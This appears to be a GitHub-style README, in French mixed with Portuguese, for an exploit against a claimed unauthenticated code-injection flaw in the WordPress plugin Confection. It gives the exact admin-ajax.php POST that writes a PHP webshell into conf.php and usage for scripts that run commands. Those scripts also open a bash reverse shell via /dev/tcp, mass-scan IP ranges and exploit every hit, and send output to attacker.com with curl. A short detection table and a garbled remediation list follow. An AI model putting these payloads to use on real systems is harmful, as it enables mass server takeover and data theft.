CVE-2026-115252 - Injection de code PHP et RCE dans le plugin WordPress Confection | CVSS 10.0 | Par Gh0st-Bx1
AVIS DE NON-RESPONSABILITÉ : Ce dépôt a été créé exclusivement à des fins éducatives et de recherche en sécurité. L'utilisation de ces outils contre des systèmes sans autorisation préalable et expresse par écrit est illégale. L'auteur décline toute responsabilité quant à l'usage abusif de ce matériel.
| Champ | Détail |
|---|---|
| CVE | CVE-2026-115252 |
| Surnom | WP-Ghost |
| Type | Injection de code PHP via autorisation manquante (CWE-862 + CWE-94) |
| CVSS | 10.0 Critique (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Composant | Plugin WordPress Confection - point de terminaison confection_save_settings |
| Vecteurs | POST vers admin-ajax.php sans authentification |
| Authentification | Non requise (non authentifié) |
| Affecte | Plugin WordPress Confection versions 0.4.0 à 0.4.7 |
| Corrigé | Plugin Confection >= 0.4.8 |
| Divulgué | Novembre 2026 |
Le plugin Confection pour WordPress (versions 0.4.0 à 0.4.7) enregistre le hook
wp_ajax_nopriv_confection_save_settings, qui est accessible sans authentification via
admin-ajax.php. Le gestionnaire enregistre la valeur du champ confection_code directement dans
le fichier conf.php du plugin sans valider la capability ni le nonce.
Un attaquant sans aucune credential peut injecter du PHP arbitraire qui est écrit sur le disque
et exécuté à toute requête ultérieure vers le fichier conf.php.
1. Plugin registra hook wp_ajax_nopriv_confection_save_settings
(acessivel SEM autenticacao via admin-ajax.php)
2. Handler salva confection_code em conf.php sem validar nonce nem capability
3. Atacante POST para /wp-admin/admin-ajax.php:
action=confection_save_settings&confection_code=<?php system($_GET['cmd']); ?>
4. PHP gravado em: /wp-content/plugins/confection/includes/conf.php
5. Atacante acessa conf.php?cmd=id e obtem RCE como www-data/apache
Déroulement de l'attaque :
Atacante --> POST /wp-admin/admin-ajax.php
action=confection_save_settings
confection_code=<?php system($_GET["ghost"]); ?>
|
Plugin grava PHP em conf.php (sem validar auth)
|
Atacante --> GET /wp-content/plugins/confection/includes/conf.php?ghost=id
|
RCE como processo do servidor web (www-data)
| Version du plugin | Statut |
|---|---|
| 0.4.0 - 0.4.7 | Vulnérable (sans vérification d'authentification) |
| >= 0.4.8 | Corrigé |
cve-2026-115252/
poc.py Verifica plugin e injeta webshell de teste
exploit.py Exploit completo: reverse shell, scan em massa
README.md Este arquivo
python poc.py --url http://alvo.com --check
python poc.py --url http://alvo.com --cmd "id"
python poc.py --url http://alvo.com --cmd "cat /etc/passwd"
python exploit.py --url http://alvo.com --cmd "id; whoami; hostname"
# Terminal 1 (listener integrado):
python exploit.py --url http://alvo.com --reverse-shell --lhost 192.168.1.10 --lport 4444
# Manual com nc:
nc -lvnp 4444
python exploit.py --url http://alvo.com \
--cmd "bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'"
# Scan de CIDR
python exploit.py --scan 10.0.0.0/24 --threads 30
# Scan de arquivo
python exploit.py --scan alvos.txt --cmd "id"
# Scan + explorar todos os vulneraveis
python exploit.py --scan 10.0.0.0/24 --cmd "curl http://attacker.com/`id`"
--url URL base do WordPress (ex: http://alvo.com)
--cmd Comando a executar (default: id)
--token Parametro da webshell (default: ghost)
--check Apenas verifica o plugin (sem injecao)
--silent Suprime o banner
--url URL do WordPress alvo
--scan CIDR, range IP ou arquivo para scan em massa
--cmd Comando a executar
--token Parametro da webshell (default: ghost)
--reverse-shell Lanca reverse shell com listener integrado
--lhost IP para receber reverse shell
--lport Porta para reverse shell (default: 4444)
--threads Threads para scan (default: 20)
--silent Suprime o banner
| Indicateur | Description |
|---|---|
POST vers /wp-admin/admin-ajax.php non authentifié | Tentative d'exploitation |
Contenu PHP dans conf.php (plugin Confection) | Webshell injectée |
Requête GET vers conf.php avec paramètres | Exécution de webshell |
| Connexion sortante inattendue du serveur web | Reverse shell actif |
Remédiation :
conf.php pour du contenu PHP malveillantadmin-ajax.php avec action=confection_save_settingsPar Gh0st-Bx1 | https://github.com/Ghost-Bx1